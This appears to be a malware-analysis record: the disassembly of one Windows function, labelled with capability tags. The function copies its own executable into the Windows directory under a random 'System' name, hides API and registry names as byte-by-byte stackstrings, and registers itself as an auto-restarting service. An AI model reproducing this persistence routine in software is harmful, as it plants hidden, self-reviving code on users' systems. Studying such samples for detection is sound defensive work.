Function at 0x4048a6
Capabilities:
Contain obfuscated stackstrings
Copy file
Create service
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4061b0
push 0x405d50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffc10
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x340]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x238], 0x47
mov byte [ebp - 0x237], 0x65
mov byte [ebp - 0x236], 0x74
mov byte [ebp - 0x235], 0x57
mov byte [ebp - 0x234], 0x69
mov byte [ebp - 0x233], 0x6e
mov byte [ebp - 0x232], 0x64
mov byte [ebp - 0x231], 0x6f
mov byte [ebp - 0x230], 0x77
mov byte [ebp - 0x22f], 0x73
mov byte [ebp - 0x22e], 0x44
mov byte [ebp - 0x22d], 0x69
mov byte [ebp - 0x22c], 0x72
mov byte [ebp - 0x22b], 0x65
mov byte [ebp - 0x22a], 0x63
mov byte [ebp - 0x229], 0x74
mov byte [ebp - 0x228], 0x6f
mov byte [ebp - 0x227], 0x72
mov byte [ebp - 0x226], 0x79
mov byte [ebp - 0x225], 0x41
mov byte [ebp - 0x224], 0
lea ecx, [ebp - 0x238]
push ecx
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34c], eax
push 0x104
lea edx, [ebp - 0x220]
push edx
call dword [ebp - 0x34c]
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea ecx, [ebp - 0x340]
push ecx
lea edx, [ebp - 0x220]
push edx
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
je 0x404a7d
push 0x1a
call fcn.0040111d
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.0040111d
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.0040111d
add esp, 4
add eax, 0x61
push eax
push str.System_c_c_c.exe
lea eax, [ebp - 0x39c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0x4084b4
lea ecx, [ebp - 0x220]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
lea edx, [ebp - 0x39c]
push edx
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x340]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x104
push 0
lea eax, [ebp - 0x340]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x340]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x348], 0
mov dword [ebp - 0x344], 0
mov dword [ebp - 4], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0
jne 0x404ac5
jmp 0x404e06
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x340]
push eax
push 1
push 2
push 0x110
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x344]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x348], eax
mov ecx, dword [ebp - 0x344]
push ecx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3a0], str.lnlfdxfircvscxggbwkf
lea edx, [ebp - 0x3a0]
push edx
push 1
mov eax, dword [ebp - 0x348]
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [ebp - 0x3dc], 0
xor ecx, ecx
mov dword [ebp - 0x3d8], ecx
mov dword [ebp - 0x3d4], ecx
mov dword [ebp - 0x3d0], ecx
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x3d8], 0
mov dword [ebp - 0x3dc], 0x15180
mov dword [ebp - 0x3b4], 0x1b58
mov dword [ebp - 0x3b8], 1
mov dword [ebp - 0x3ac], 0
mov dword [ebp - 0x3b0], 1
mov dword [ebp - 0x3a4], 0
mov dword [ebp - 0x3a8], 1
mov dword [ebp - 0x3d0], 3
lea edx, [ebp - 0x3b8]
mov dword [ebp - 0x3cc], edx
mov dword [ebp - 0x3d4], 0
lea eax, [ebp - 0x3dc]
push eax
push 2
mov ecx, dword [ebp - 0x348]
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov edx, dword [ebp - 0x3c8]
push edx
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
cmp dword [ebp - 0x348], 0
jne 0x404c3a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x404c3a
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x344]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0
jne 0x404c29
jmp 0x404e06
push 0
push 0
mov edx, dword [ebp - 0x348]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0
push 0
mov eax, dword [ebp - 0x348]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x404c54
jmp 0x404e06
mov byte [ebp - 0x400], 0x53
mov byte [ebp - 0x3ff], 0x59
mov byte [ebp - 0x3fe], 0x53
mov byte [ebp - 0x3fd], 0x54
mov byte [ebp - 0x3fc], 0x45
mov byte [ebp - 0x3fb], 0x4d
mov byte [ebp - 0x3fa], 0x5c
mov byte [ebp - 0x3f9], 0x43
mov byte [ebp - 0x3f8], 0x75
mov byte [ebp - 0x3f7], 0x72
mov byte [ebp - 0x3f6], 0x72
mov byte [ebp - 0x3f5], 0x65
mov byte [ebp - 0x3f4], 0x6e
mov byte [ebp - 0x3f3], 0x74
mov byte [ebp - 0x3f2], 0x43
mov byte [ebp - 0x3f1], 0x6f
mov byte [ebp - 0x3f0], 0x6e
mov byte [ebp - 0x3ef], 0x74
mov byte [ebp - 0x3ee], 0x72
mov byte [ebp - 0x3ed], 0x6f
mov byte [ebp - 0x3ec], 0x6c
mov byte [ebp - 0x3eb], 0x53
mov byte [ebp - 0x3ea], 0x65
mov byte [ebp - 0x3e9], 0x74
mov byte [ebp - 0x3e8], 0x5c
mov byte [ebp - 0x3e7], 0x53
mov byte [ebp - 0x3e6], 0x65
mov byte [ebp - 0x3e5], 0x72
mov byte [ebp - 0x3e4], 0x76
mov byte [ebp - 0x3e3], 0x69
mov byte [ebp - 0x3e2], 0x63
mov byte [ebp - 0x3e1], 0x65
mov byte [ebp - 0x3e0], 0x73
mov byte [ebp - 0x3df], 0x5c
mov byte [ebp - 0x3de], 0
lea ecx, [ebp - 0x400]
push ecx
lea edx, [ebp - 0x11c]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x11c]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
lea edx, [ebp - 0x23c]
push edx
lea eax, [ebp - 0x11c]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov byte [ebp - 0x3c4], 0x44
mov byte [ebp - 0x3c3], 0x65
mov byte [ebp - 0x3c2], 0x73
mov byte [ebp - 0x3c1], 0x63
mov byte [ebp - 0x3c0], 0x72
mov byte [ebp - 0x3bf], 0x69
mov byte [ebp - 0x3be], 0x70
mov byte [ebp - 0x3bd], 0x74
mov byte [ebp - 0x3bc], 0x69
mov byte [ebp - 0x3bb], 0x6f
mov byte [ebp - 0x3ba], 0x6e
mov byte [ebp - 0x3b9], 0
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov edx, dword [ebp + 0x10]
push edx
push 1
push 0
lea eax, [ebp - 0x3c4]
push eax
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 4], 0xffffffff
call fcn.00404e14
jmp 0x404e57
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret